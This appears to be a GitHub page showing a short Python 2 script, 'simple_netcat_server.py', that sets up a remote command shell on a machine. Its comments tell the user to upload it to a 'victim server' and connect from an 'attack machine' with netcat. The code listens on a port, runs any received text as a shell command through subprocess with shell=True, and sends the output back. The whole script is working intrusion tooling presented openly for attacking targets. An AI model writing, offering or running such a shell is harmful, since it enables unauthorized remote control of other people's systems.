-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathsimple_netcat_server.py
51 lines (44 loc) · 1.51 KB
/
simple_netcat_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
__author__ = "Munir Njiru"
__email__ = "munir@alien-within.com"
__status__ = "Production"
#To connect to it upload the script on the victim server
#On your attack machine run the command below:
#nc target-ip target-port
##########################################
# Simple Reverse Listener
# by Alienwithin
###########################################
import socket
import subprocess
import sys
import os
ip = "victim-ip"
port = 4445
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(10)
print ("Listener ready on %s:%d" % (ip,port))
client, addr = server.accept()
print ("Connected to %s on port %d" % (ip,port))
hostinfo=os.getenv('USERNAME')+"@"+socket.gethostname()+"~"
while True:
data = str(client.recv(1024))
data = data.strip()
if not data:
client.sendall(hostinfo+os.getcwd()+"# command cannot be blank my friend \n"+hostinfo+os.getcwd()+"#"+" ")
print ""
elif "cd" in data.strip():
pathExtract = data.replace ("cd ", "")
os.chdir(pathExtract)
client.sendall(hostinfo+os.getcwd()+"# Switched Path to: "+os.getcwd()+"\n"+hostinfo+os.getcwd()+"#"+" ")
elif data.strip() == "pwd":
client.sendall(hostinfo+os.getcwd()+"#"+" "+" "+os.getcwd()+"\n"+hostinfo+os.getcwd()+"#"+" ")
elif data.strip() == "terminate":
client.sendall("bye buddy")
client.close()
sys.exit(0)
else:
output = subprocess.check_output(data, shell=True)
output=hostinfo+os.getcwd()+"#"+" "+output+"\n"+hostinfo+os.getcwd()+"#"+" "
client.sendall(output)